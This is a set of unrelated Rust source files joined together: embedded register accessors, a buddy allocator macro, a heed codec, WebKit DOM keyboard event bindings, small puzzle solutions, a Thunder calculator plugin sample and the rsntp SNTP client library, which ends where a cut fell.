(self.w.bits & !(0x0f << 6)) | (((value as u32) & 0x0f) << 6); self.w } } #[doc = "EE6F"] pub type EE6F_A = EE10F_A; #[doc = "Reader of field `EE6F`"] pub type EE6F_R = crate::R<u8, EE10F_A>; #[doc = "Write proxy for field `EE6F`"] pub struct EE6F_W<'a> { w: &'a mut W, } impl<'a> EE6F_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EE6F_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "Filter disabled"] #[inline(always)] pub fn disabled(self) -> &'a mut W { self.variant(EE10F_A::DISABLED) } #[doc = "f_SAMPLING=f_HRTIM, N=2"] #[inline(always)] pub fn div1_n2(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N2) } #[doc = "f_SAMPLING=f_HRTIM, N=4"] #[inline(always)] pub fn div1_n4(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N4) } #[doc = "f_SAMPLING=f_HRTIM, N=8"] #[inline(always)] pub fn div1_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N8) } #[doc = "f_SAMPLING=f_HRTIM/2, N=6"] #[inline(always)] pub fn div2_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N6) } #[doc = "f_SAMPLING=f_HRTIM/2, N=8"] #[inline(always)] pub fn div2_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N8) } #[doc = "f_SAMPLING=f_HRTIM/4, N=6"] #[inline(always)] pub fn div4_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N6) } #[doc = "f_SAMPLING=f_HRTIM/4, N=8"] #[inline(always)] pub fn div4_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N8) } #[doc = "f_SAMPLING=f_HRTIM/8, N=6"] #[inline(always)] pub fn div8_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N6) } #[doc = "f_SAMPLING=f_HRTIM/8, N=8"] #[inline(always)] pub fn div8_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N8) } #[doc = "f_SAMPLING=f_HRTIM/16, N=5"] #[inline(always)] pub fn div16_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N5) } #[doc = "f_SAMPLING=f_HRTIM/16, N=6"] #[inline(always)] pub fn div16_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N6) } #[doc = "f_SAMPLING=f_HRTIM/16, N=8"] #[inline(always)] pub fn div16_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N8) } #[doc = "f_SAMPLING=f_HRTIM/32, N=5"] #[inline(always)] pub fn div32_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N5) } #[doc = "f_SAMPLING=f_HRTIM/32, N=6"] #[inline(always)] pub fn div32_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N6) } #[doc = "f_SAMPLING=f_HRTIM/32, N=8"] #[inline(always)] pub fn div32_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !0x0f) | ((value as u32) & 0x0f); self.w } } impl R { #[doc = "Bits 30:31 - EEVSD"] #[inline(always)] pub fn eevsd(&self) -> EEVSD_R { EEVSD_R::new(((self.bits >> 30) & 0x03) as u8) } #[doc = "Bits 24:27 - EE10F"] #[inline(always)] pub fn ee10f(&self) -> EE10F_R { EE10F_R::new(((self.bits >> 24) & 0x0f) as u8) } #[doc = "Bits 18:21 - EE9F"] #[inline(always)] pub fn ee9f(&self) -> EE9F_R { EE9F_R::new(((self.bits >> 18) & 0x0f) as u8) } #[doc = "Bits 12:15 - EE8F"] #[inline(always)] pub fn ee8f(&self) -> EE8F_R { EE8F_R::new(((self.bits >> 12) & 0x0f) as u8) } #[doc = "Bits 6:9 - EE7F"] #[inline(always)] pub fn ee7f(&self) -> EE7F_R { EE7F_R::new(((self.bits >> 6) & 0x0f) as u8) } #[doc = "Bits 0:3 - EE6F"] #[inline(always)] pub fn ee6f(&self) -> EE6F_R { EE6F_R::new((self.bits & 0x0f) as u8) } } impl W { #[doc = "Bits 30:31 - EEVSD"] #[inline(always)] pub fn eevsd(&mut self) -> EEVSD_W { EEVSD_W { w: self } } #[doc = "Bits 24:27 - EE10F"] #[inline(always)] pub fn ee10f(&mut self) -> EE10F_W { EE10F_W { w: self } } #[doc = "Bits 18:21 - EE9F"] #[inline(always)] pub fn ee9f(&mut self) -> EE9F_W { EE9F_W { w: self } } #[doc = "Bits 12:15 - EE8F"] #[inline(always)] pub fn ee8f(&mut self) -> EE8F_W { EE8F_W { w: self } } #[doc = "Bits 6:9 - EE7F"] #[inline(always)] pub fn ee7f(&mut self) -> EE7F_W { EE7F_W { w: self } } #[doc = "Bits 0:3 - EE6F"] #[inline(always)] pub fn ee6f(&mut self) -> EE6F_W { EE6F_W { w: self } } }
/// Defines global allocator /// /// /// # Example /// /// ``` /// // define global allocator /// default_alloc!() /// /// // Default allocator uses a mixed allocation strategy: /// // /// // * Fixed block heap, only allocate fixed size(64B) memory block /// // * Dynamic memory heap, allocate any size memory block /// // /// // User can invoke macro with arguments to customize the heap size /// // The default heap size arguments are: /// // (fixed heap size 4KB, dynamic heap size 516KB, dynamic heap min memory block 64B) /// default_alloc!(4 * 1024, 516 * 1024, 64) /// ``` #[macro_export] macro_rules! default_alloc { () => { default_alloc!(4 * 1024, 516 * 1024, 64); }; ($fixed_block_heap_size:expr, $heap_size:expr, $min_block_size:expr) => { static mut _BUDDY_HEAP: [u8; $heap_size] = [0u8; $heap_size]; static mut _FIXED_BLOCK_HEAP: [u8; $fixed_block_heap_size] = [0u8; $fixed_block_heap_size]; #[global_allocator] static ALLOC: $crate::buddy_alloc::NonThreadsafeAlloc = unsafe { let fast_param = $crate::buddy_alloc::FastAllocParam::new( _FIXED_BLOCK_HEAP.as_ptr(), $fixed_block_heap_size, ); let buddy_param = $crate::buddy_alloc::BuddyAllocParam::new( _BUDDY_HEAP.as_ptr(), $heap_size, $min_block_size, ); $crate::buddy_alloc::NonThreadsafeAlloc::new(fast_param, buddy_param) }; }; }
use std::borrow::Cow; use heed_traits::{BytesDecode, BytesEncode}; use zerocopy::{AsBytes, FromBytes, LayoutVerified, Unaligned}; /// Describes a type that is totally borrowed and doesn't /// depends on any [memory alignment]. /// /// If you need to store a type that does depend on memory alignment /// and that can be big it is recommended to use the [`CowType`]. /// /// [memory alignment]: std::mem::align_of() /// [`CowType`]: crate::CowType pub struct UnalignedSlice<T>(std::marker::PhantomData<T>); impl<'a, T: 'a> BytesEncode<'a> for UnalignedSlice<T> where T: AsBytes + Unaligned, { type EItem = [T]; fn bytes_encode(item: &'a Self::EItem) -> Option<Cow<[u8]>> { Some(Cow::Borrowed(<[T] as AsBytes>::as_bytes(item))) } } impl<'a, T: 'a> BytesDecode<'a> for UnalignedSlice<T> where T: FromBytes + Unaligned, { type DItem = &'a [T]; fn bytes_decode(bytes: &'a [u8]) -> Option<Self::DItem> { LayoutVerified::<_, [T]>::new_slice_unaligned(bytes).map(LayoutVerified::into_slice) } } unsafe impl<T> Send for UnalignedSlice<T> {} unsafe impl<T> Sync for UnalignedSlice<T> {}
// This file was generated by gir (https://github.com/gtk-rs/gir) // from gir-files (https://github.com/gtk-rs/gir-files) // DO NOT EDIT use glib::object::Cast; use glib::object::IsA; use glib::signal::connect_raw; use glib::signal::SignalHandlerId; use glib::translate::*; use glib::GString; use glib_sys; use libc; use std::boxed::Box as Box_; use std::fmt; use std::mem::transmute; use webkit2_webextension_sys; use DOMDOMWindow; use DOMEvent; use DOMObject; use DOMUIEvent; glib_wrapper! { pub struct DOMKeyboardEvent(Object<webkit2_webextension_sys::WebKitDOMKeyboardEvent, webkit2_webextension_sys::WebKitDOMKeyboardEventClass, DOMKeyboardEventClass>) @extends DOMUIEvent, DOMEvent, DOMObject; match fn { get_type => || webkit2_webextension_sys::webkit_dom_keyboard_event_get_type(), } } pub const NONE_DOM_KEYBOARD_EVENT: Option<&DOMKeyboardEvent> = None; pub trait DOMKeyboardEventExt: 'static { #[cfg_attr(feature = "v2_22", deprecated)] fn get_alt_graph_key(&self) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn get_alt_key(&self) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn get_ctrl_key(&self) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn get_key_identifier(&self) -> Option<GString>; #[cfg_attr(feature = "v2_22", deprecated)] fn get_key_location(&self) -> libc::c_ulong; #[cfg_attr(feature = "v2_22", deprecated)] fn get_meta_key(&self) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn get_modifier_state(&self, keyIdentifierArg: &str) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn get_shift_key(&self) -> bool; #[cfg_attr(feature = "v2_22", deprecated)] fn init_keyboard_event<P: IsA<DOMDOMWindow>>( &self, type_: &str, canBubble: bool, cancelable: bool, view: &P, keyIdentifier: &str, location: libc::c_ulong, ctrlKey: bool, altKey: bool, shiftKey: bool, metaKey: bool, altGraphKey: bool, ); fn connect_property_alt_graph_key_notify<F: Fn(&Self) + 'static>( &self, f: F, ) -> SignalHandlerId; fn connect_property_alt_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId; fn connect_property_ctrl_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId; fn connect_property_key_identifier_notify<F: Fn(&Self) + 'static>( &self, f: F, ) -> SignalHandlerId; fn connect_property_key_location_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId; fn connect_property_meta_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId; fn connect_property_shift_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId; } impl<O: IsA<DOMKeyboardEvent>> DOMKeyboardEventExt for O { fn get_alt_graph_key(&self) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_alt_graph_key( self.as_ref().to_glib_none().0, ), ) } } fn get_alt_key(&self) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_alt_key( self.as_ref().to_glib_none().0, ), ) } } fn get_ctrl_key(&self) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_ctrl_key( self.as_ref().to_glib_none().0, ), ) } } fn get_key_identifier(&self) -> Option<GString> { unsafe { from_glib_full( webkit2_webextension_sys::webkit_dom_keyboard_event_get_key_identifier( self.as_ref().to_glib_none().0, ), ) } } fn get_key_location(&self) -> libc::c_ulong { unsafe { webkit2_webextension_sys::webkit_dom_keyboard_event_get_key_location( self.as_ref().to_glib_none().0, ) } } fn get_meta_key(&self) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_meta_key( self.as_ref().to_glib_none().0, ), ) } } fn get_modifier_state(&self, keyIdentifierArg: &str) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_modifier_state( self.as_ref().to_glib_none().0, keyIdentifierArg.to_glib_none().0, ), ) } } fn get_shift_key(&self) -> bool { unsafe { from_glib( webkit2_webextension_sys::webkit_dom_keyboard_event_get_shift_key( self.as_ref().to_glib_none().0, ), ) } } fn init_keyboard_event<P: IsA<DOMDOMWindow>>( &self, type_: &str, canBubble: bool, cancelable: bool, view: &P, keyIdentifier: &str, location: libc::c_ulong, ctrlKey: bool, altKey: bool, shiftKey: bool, metaKey: bool, altGraphKey: bool, ) { unsafe { webkit2_webextension_sys::webkit_dom_keyboard_event_init_keyboard_event( self.as_ref().to_glib_none().0, type_.to_glib_none().0, canBubble.to_glib(), cancelable.to_glib(), view.as_ref().to_glib_none().0, keyIdentifier.to_glib_none().0, location, ctrlKey.to_glib(), altKey.to_glib(), shiftKey.to_glib(), metaKey.to_glib(), altGraphKey.to_glib(), ); } } fn connect_property_alt_graph_key_notify<F: Fn(&Self) + 'static>( &self, f: F, ) -> SignalHandlerId { unsafe extern "C" fn notify_alt_graph_key_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::alt-graph-key\0".as_ptr() as *const _, Some(transmute( notify_alt_graph_key_trampoline::<Self, F> as usize, )), Box_::into_raw(f), ) } } fn connect_property_alt_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId { unsafe extern "C" fn notify_alt_key_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::alt-key\0".as_ptr() as *const _, Some(transmute(notify_alt_key_trampoline::<Self, F> as usize)), Box_::into_raw(f), ) } } fn connect_property_ctrl_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId { unsafe extern "C" fn notify_ctrl_key_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::ctrl-key\0".as_ptr() as *const _, Some(transmute(notify_ctrl_key_trampoline::<Self, F> as usize)), Box_::into_raw(f), ) } } fn connect_property_key_identifier_notify<F: Fn(&Self) + 'static>( &self, f: F, ) -> SignalHandlerId { unsafe extern "C" fn notify_key_identifier_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::key-identifier\0".as_ptr() as *const _, Some(transmute( notify_key_identifier_trampoline::<Self, F> as usize, )), Box_::into_raw(f), ) } } fn connect_property_key_location_notify<F: Fn(&Self) + 'static>( &self, f: F, ) -> SignalHandlerId { unsafe extern "C" fn notify_key_location_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::key-location\0".as_ptr() as *const _, Some(transmute( notify_key_location_trampoline::<Self, F> as usize, )), Box_::into_raw(f), ) } } fn connect_property_meta_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId { unsafe extern "C" fn notify_meta_key_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::meta-key\0".as_ptr() as *const _, Some(transmute(notify_meta_key_trampoline::<Self, F> as usize)), Box_::into_raw(f), ) } } fn connect_property_shift_key_notify<F: Fn(&Self) + 'static>(&self, f: F) -> SignalHandlerId { unsafe extern "C" fn notify_shift_key_trampoline<P, F: Fn(&P) + 'static>( this: *mut webkit2_webextension_sys::WebKitDOMKeyboardEvent, _param_spec: glib_sys::gpointer, f: glib_sys::gpointer, ) where P: IsA<DOMKeyboardEvent>, { let f: &F = &*(f as *const F); f(&DOMKeyboardEvent::from_glib_borrow(this).unsafe_cast()) } unsafe { let f: Box_<F> = Box_::new(f); connect_raw( self.as_ptr() as *mut _, b"notify::shift-key\0".as_ptr() as *const _, Some(transmute(notify_shift_key_trampoline::<Self, F> as usize)), Box_::into_raw(f), ) } } } impl fmt::Display for DOMKeyboardEvent { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "DOMKeyboardEvent") } }
use P36::prime_factor_multiplicity; pub fn main() { println!("{:?}", prime_factor_multiplicity(315)); }
use { std::convert::TryInto, tracing::{debug, info}, }; const NUM_STACKS: usize = 9; fn read_stacks(input: &str) -> [Vec<char>; NUM_STACKS] { let mut stacks: [Vec<char>; NUM_STACKS] = Default::default(); for line in input.split('\n') { let line_bytes = line.as_bytes(); for (i, stack) in stacks.iter_mut().enumerate().take(NUM_STACKS) { let idx = 1 + i * 4; if line_bytes[idx] == b' ' { continue; } stack.push(line_bytes[idx].try_into().unwrap()) } } for stack in &mut stacks { stack.pop(); // Remove the number from the bottom stack.reverse(); } stacks } #[derive(Debug)] struct CrateMove { num_crates: usize, from: usize, to: usize, } fn read_moves(input: &str) -> Vec<CrateMove> { let re = regex::Regex::new(r"move (\d+) from (\d+) to (\d+)").unwrap(); let mut moves = Vec::new(); for cap in re.captures_iter(input) { let cap = cap .iter() .skip(1) .map(|c| c.unwrap().as_str().parse::<usize>().unwrap()) .collect::<Vec<_>>(); moves.push(CrateMove { num_crates: cap[0], from: cap[1] - 1, to: cap[2] - 1, }); } moves } fn move_crates_9000(stacks: &mut [Vec<char>; NUM_STACKS], moves: Vec<CrateMove>) { for m in moves { let mut crate_buffer = Vec::new(); for _ in 0..m.num_crates { crate_buffer.push(stacks[m.from].pop().unwrap()); } for buffer in crate_buffer.iter().take(m.num_crates) { stacks[m.to].push(*buffer); } } } fn move_crates_9001(stacks: &mut [Vec<char>; NUM_STACKS], moves: Vec<CrateMove>) { for m in moves { let mut crate_buffer = Vec::new(); for _ in 0..m.num_crates { crate_buffer.push(stacks[m.from].pop().unwrap()); } for _ in 0..m.num_crates { stacks[m.to].push(crate_buffer.pop().unwrap()); } } } pub fn part1(input: &str) { let mut input = input.split("\n\n"); let initial_stack_state = input.next().unwrap(); let mut stacks = read_stacks(initial_stack_state); debug!("{stacks:?}"); let moves = read_moves(input.next().unwrap().trim()); debug!("moves: {moves:?}"); move_crates_9000(&mut stacks, moves); let mut ans = "".to_string(); for stack in stacks { ans = format!("{ans}{}", stack.last().unwrap()); } info!("Part 1 Answer: {ans}"); } pub fn part2(input: &str) { let mut input = input.split("\n\n"); let initial_stack_state = input.next().unwrap(); let mut stacks = read_stacks(initial_stack_state); debug!("{stacks:?}"); let moves = read_moves(input.next().unwrap().trim()); debug!("moves: {moves:?}"); move_crates_9001(&mut stacks, moves); let mut ans = "".to_string(); for stack in stacks { ans = format!("{ans}{}", stack.last().unwrap()); } info!("Part 2 Answer: {ans}"); }
/* * If not stated otherwise in this file or this component's LICENSE file the * following copyright and licenses apply: * * Copyright 2022 RDK Management * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ struct Calculator { proto: Box<dyn thunder_rs::PluginProtocol> } impl Calculator { fn dispatch_request(&mut self, req: json::JsonValue, ctx: thunder_rs::RequestContext) { if let Some(method) = req["method"].as_str() { match method { /* suggest not to work with the "calculator" prefix here. It is */ /* already verified by thunder. here we just would like to work */ /* on the method name. */ "add" => { self.add(req, ctx); } "mul" => { self.mul(req, ctx); } _ => { println!("method {} not handled here", method); } } } } fn add(&mut self, req: json::JsonValue, ctx: thunder_rs::RequestContext) { let mut sum = 0; for val in req["params"].members() { if let Some(n) = val.as_u32() { sum += n; } } let res = json::object!{ "jsonrpc": "2.0", "id": req["id"].as_u32(), "result": sum }; self.send_response(res, ctx); } fn mul(&mut self, req: json::JsonValue, ctx: thunder_rs::RequestContext) { let mut product = 0; for val in req["params"].members() { if let Some(n) = val.as_u32() { product *= n } } let res = json::object!{ "jsonrpc": "2.0", "id": req["id"].as_u32(), "result": product }; self.send_response(res, ctx); } fn send_response(&mut self, res: json::JsonValue, ctx: thunder_rs::RequestContext) { let s = json::stringify(res); self.proto.send_to(ctx.channel_id, s); } } impl thunder_rs::Plugin for Calculator { fn on_message(&mut self, json: String, ctx: thunder_rs::RequestContext) { let req: json::JsonValue = json::parse(json.as_str()) .unwrap(); self.dispatch_request(req, ctx); } fn on_client_connect(&mut self, _channel_id: u32) { } fn on_client_disconnect(&mut self, _channel_id: u32) { } } fn sample_plugin_init(proto: Box<dyn thunder_rs::PluginProtocol>) -> Box<dyn thunder_rs::Plugin> { Box::new(Calculator{ proto: proto}) } thunder_rs::export_plugin!("Calculator", (1,0,0), sample_plugin_init);
#![cfg_attr( all(feature = "async", feature = "chrono", feature = "time"), doc = r##" # rsntp An [RFC 5905](https://www.rfc-editor.org/rfc/rfc5905.txt) compliant Simple Network Time Protocol (SNTP) client library for Rust. `rsntp` provides an API to synchronize time with SNTPv4 time servers with the following features: * Provides both a synchronous (blocking) and an (optional) asynchronous, `tokio` based API * Optional support for time and date crates `chrono` and `time` (`chrono` is enabled by default) * IPv6 support ## Usage Add this to your `Cargo.toml`: ```toml [dependencies] rsntp = "3.0.2" ``` Obtain the current local time with the blocking API: ```no_run use rsntp::SntpClient; use chrono::{DateTime, Local}; let client = SntpClient::new(); let result = client.synchronize("pool.ntp.org").unwrap(); let local_time: DateTime<Local> = DateTime::from(result.datetime().into_chrono_datetime().unwrap()); println!("Current time is: {}", local_time); ``` You can also use the asynchronous API to do the same: ```no_run use rsntp::AsyncSntpClient; use chrono::{DateTime, Local, Utc}; async fn local_time() -> DateTime<Local> { let client = AsyncSntpClient::new(); let result = client.synchronize("pool.ntp.org").await.unwrap(); DateTime::from(result.datetime().into_chrono_datetime().unwrap()) } ``` ## API changes in version 3.0 Version 3.0 made core code independent of time and date crates and added support for the `time` crate. This led to some breaking API changes, `SynchronizationResult` methods will return with wrappers struct instead of `chrono` ones. Those wrapper structs has `TryInto` implementation and helper methods to convert them to `chrono` format. To convert old code, replace ```no_run # use rsntp::SntpClient; # let result = SntpClient::new().synchronize("pool.ntp.org").unwrap(); let datetime = result.datetime(); ``` with ```no_run # use rsntp::SntpClient; # use chrono::{DateTime, Utc}; # let result = SntpClient::new().synchronize("pool.ntp.org").unwrap(); let datetime = result.datetime().into_chrono_datetime().unwrap(); ``` or with ```no_run # use rsntp::SntpClient; # use chrono::{DateTime, Utc}; # let result = SntpClient::new().synchronize("pool.ntp.org").unwrap(); let datetime: chrono::DateTime<Utc> = result.datetime().try_into().unwrap(); ``` The same applies to `Duration`s returned by `SynchronizationResult`. ## Support for time and date crates `rsntp` supports returning time and date data in different formats. Currently the format of the two most popular time and date handling crates supported: `chrono` and `time`. By default, `chrono` is enabled, but you can add `time` support with a feature: ```no_run use rsntp::SntpClient; let client = SntpClient::new(); let result = client.synchronize("pool.ntp.org").unwrap(); let utc_time = result .datetime() .into_offset_date_time() .unwrap(); println!("UTC time is: {}", utc_time); ``` Support for both crates can be enabled independently; you can even enable both at the same time. ## Disabling asynchronous API The asynchronous API is enabled by default, but you can disable it. Disabling it has the advantage that it removes the dependency to `tokio`, which reduces the amount of dependencies significantly. ```toml [dependencies] rsntp = { version = "3.0.2", default-features = false, features = ["chrono"] } ``` ## System clock assumptions `rsntp` assumes that system clock is monotonic and stable. This is especially important with the `SynchronizationResult::datetime()` method, as `SynchronizationResult` stores just an offset to the system clock. If the system clock is changed between synchronization and the call to this method, then offset will not be valid anymore and some undefined result might be returned. ## IPv6 support `rsntp` supports IPv6, but for compatibility reasons, it binds its UDP socket to an IPv4 address (0.0.0.0) by default. That might prevent synchronization with IPv6 servers. To use IPv6, you need to set an IPv6 bind address: ```no_run use rsntp::{Config, SntpClient}; use std::net::Ipv6Addr; let config = Config::default().bind_address((Ipv6Addr::UNSPECIFIED, 0).into()); let client = SntpClient::with_config(config); let result = client.synchronize("2.pool.ntp.org").unwrap(); let unix_timestamp_utc = result.datetime().unix_timestamp(); ``` "## )] mod core_logic; mod error; mod packet; mod result; mod to_server_addrs; pub use error::{ConversionError, KissCode, ProtocolError, SynchroniztationError}; pub use packet::{LeapIndicator, ReferenceIdentifier}; pub use result::{SntpDateTime, SntpDuration, SynchronizationResult}; pub use to_server_addrs::ToServerAddrs; use core_logic::{Reply, Request}; use packet::Packet; use std::default::Default; use std::net::{IpAddr, Ipv4Addr, SocketAddr}; use std::time::Duration; #[cfg(feature = "async")] use tokio::time::timeout; const SNTP_PORT: u16 = 123; /// Client configuration /// /// This is a struct that contains the configuration of a client. It uses a builder-like pattern /// to set parameters. Its main aim is to be able to create client instances with non-default /// configuration without making them mutable. /// /// # Example /// /// ```no_run /// use rsntp::{Config, SntpClient}; /// use std::time::Duration; /// /// let config = Config::default().bind_address("192.168.0.1:0".parse().unwrap()).timeout(Duration::from_secs(10)); /// let client = SntpClient::with_config(config); /// ``` #[derive(Clone, Debug, Hash)] pub struct Config { bind_address: SocketAddr, timeout: Duration, } impl Config { /// Set UDP bind address /// /// Sets the local address which is used to send/receive UDP packets. By default, it is /// "0.0.0.0:0" which means that IPv4 address and port are chosen automatically. /// /// To synchronize with IPv6 servers, you might need to set it to an IPv6 address. /// /// # Example /// /// ```no_run /// use rsntp::{Config, SntpClient}; /// /// let config = Config::default().bind_address("192.168.0.1:0".parse().unwrap()); /// let client = SntpClient::with_config(config); /// ``` pub fn bind_address(self, address: SocketAddr) -> Config { Config { bind_address: address, timeout: self.timeout, } } /// Sets synchronization timeout /// /// Sets the time the client waits for a reply after the request has been sent. /// Default is 3 seconds. /// /// # Example /// /// ```no_run /// use rsntp::{Config, SntpClient}; /// use std::time::Duration; /// /// let config = Config::default().timeout(Duration::from_secs(10)); /// let client = SntpClient::with_config(config); /// ``` pub fn timeout(self, timeout: Duration) -> Config { Config { bind_address: self.bind_address, timeout, } } } impl Default for Config { /// Creates an instance with default configuration /// /// # Example /// /// ```no_run /// use rsntp::Config; /// /// let config = Config::default(); /// ``` fn default() -> Config { Config { bind_address: SocketAddr::new(IpAddr::V4(Ipv4Addr::new(0, 0, 0, 0)), 0), timeout: Duration::from_secs(3), } } } /// Blocking client instance /// /// This is the main entry point of the blocking API. #[derive(Clone, Debug, Hash)] pub struct SntpClient { config: Config, } impl SntpClient { /// Creates a new instance with default configuration /// /// # Example /// /// ```no_run /// use rsntp::SntpClient; /// /// let client = SntpClient::new(); /// ``` pub fn new() -> SntpClient { SntpClient { config: Config::default(), } } /// Creates a new instance with the specified configuration /// # Example /// /// ```no_run /// use rsntp::{Config, SntpClient}; /// /// let client = SntpClient::with_config(Config::default()); /// ``` pub fn with_config(config: Config) -> SntpClient { SntpClient { config } } /// Synchronize with the server /// /// Sends a request to the server, waits for the reply, and processes it. This is a blocking call /// and can block for a long time. After sending the request, it waits for a timeout; if no /// reply is received, an error is returned. /// /// If the supplied server address resolves to multiple addresses, only the first one is used. /// /// # Example /// /// ```no_run /// use rsntp::SntpClient; /// /// let client = SntpClient::new(); /// let result = client.synchronize("pool.ntp.org"); /// ``` pub fn synchronize<A: ToServerAddrs>( &self, server_address: A, ) -> Result<SynchronizationResult, SynchroniztationError> { let socket = std::net::UdpSocket::bind(self.config.bind_address)?; socket.set_read_timeout(Some(self.config.timeout))?; socket.connect(server_address.to_server_addrs(SNTP_PORT))?; let request = Request::new(); let mut receive_buffer = [0; Packet::ENCODED_LEN]; socket.send(&request.as_bytes())?; let (bytes_received, server_address) = socket.recv_from(&mut receive_buffer)?; let reply = Reply::new( request, Packet::from_bytes(&receive_buffer[..bytes_received], server_address)?, ); reply.process() } /// Sets synchronization timeout /// /// Sets the time the client waits for a reply after the request has been sent. /// Default is 3 seconds. /// /// # Example /// /// ```no_run /// use rsntp::SntpClient; /// use std::time::Duration; /// /// let mut client = SntpClient::new(); /// client.set_timeout(Duration::from_secs(10)); /// ``` pub fn set_timeout(&mut self, timeout: Duration) { self.config.timeout = timeout; } /// Set UDP bind address /// /// Sets the local address which is used to send/receive UDP packets. By default, it is /// "0.0.0.0:0" which means that IPv4 address and port are chosen automatically. /// /// To synchronize with IPv6 servers, you might need to set it to an IPv6 address. /// /// # Example /// /// ```no_run /// use rsntp::SntpClient; /// /// let mut client = SntpClient::new(); /// client.set_bind_address("192.168.0.1:0".parse().unwrap()); /// ``` pub fn set_bind_address(&mut self, address: SocketAddr) { self.config.bind_address = address; } /// Set the configuration /// /// # Example /// /// ```no_run /// use rsntp::{Config, SntpClient}; /// /// let client = SntpClient::new(); /// let config = Config::default().bind_address("192.168.0.1:0".parse().unwrap()); /// ``` pub fn set_config(&mut self, config: Config) { self.config = config } } impl Default for SntpClient { fn default() -> Self { SntpClient::new() } } /// Asynchronous client instance /// /// Only available when async feature is enabled (which is the default) /// /// This is the main entry point of the asynchronous API. #[cfg(feature = "async")] pub struct AsyncSntpClient { config: Config, } #[cfg(feature = "async")] impl AsyncSntpClient { /// Creates a new instance with default configuration /// /// Only available when async feature is enabled (which is the default) /// /// # Example /// /// 